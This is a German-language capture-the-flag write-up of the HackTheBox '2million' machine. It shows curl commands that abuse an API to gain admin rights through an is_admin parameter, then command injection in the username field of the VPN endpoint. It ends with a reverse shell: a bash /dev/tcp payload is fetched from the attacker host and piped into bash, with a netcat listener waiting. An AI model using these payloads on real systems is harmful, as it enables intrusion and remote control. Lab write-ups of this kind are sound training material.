> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# HackTheBox API-Missbrauch

## Ausnutzung der HACKTHEBOX-API

<figure><img src="/files/7149e76c146baa23e7794ae7af8a0c0a5b1c227a" alt=""><figcaption></figcaption></figure>

#### Beobachtung der API

Beim Aufrufen von `/api`, beobachten wir die verfügbaren Routen

<figure><img src="/files/e2aec1562e3c6c5d90c8d109a903acc9624db356" alt=""><figcaption></figcaption></figure>

#### Versuch der VPN-Konfigurationsgenerierung (anfänglicher Fehlschlag)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

Antwort: nicht autorisiert.

<figure><img src="/files/f49bd4a287fdc41cb781b57fe9ae72ffa41686ae" alt=""><figcaption></figcaption></figure>

#### Änderung unserer Rolle über die API

<figure><img src="/files/9434843c2538a6c02df413d85bbd0c0eb16ba395" alt=""><figcaption></figcaption></figure>

Wir testen die Änderung der Benutzerparameter mit der Route:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Fehlender Parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Fehlender Parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> Antwort:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/62e88627b74a9855a9cce4e37ba8b1428a115147" alt=""><figcaption></figcaption></figure>

#### Überprüfung unseres Admin-Status

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/cc2685d8caab4dac000fd14d97e07d8f0fd9c279" alt="" width="563"><figcaption></figcaption></figure>

### RCE durch Befehlsinjektion

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/3fdb3227c1a2072abb9150f4a7fe9ced36c283dd" alt=""><figcaption></figcaption></figure>

Versuch einer Befehlsinjektion im Feld `Benutzernamen`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/c14c5348ce7f84b643fb45c061ab71f7ba345893" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

1. **Server-Dateien**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Netcat-Listener**

```bash
nc -nvlp 443

```

3. **Senden des Befehls**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Wir erhalten eine Reverse Shell

<figure><img src="/files/d5d91e875c2f63f497f27e04277f063afeab415d" alt=""><figcaption></figcaption></figure>


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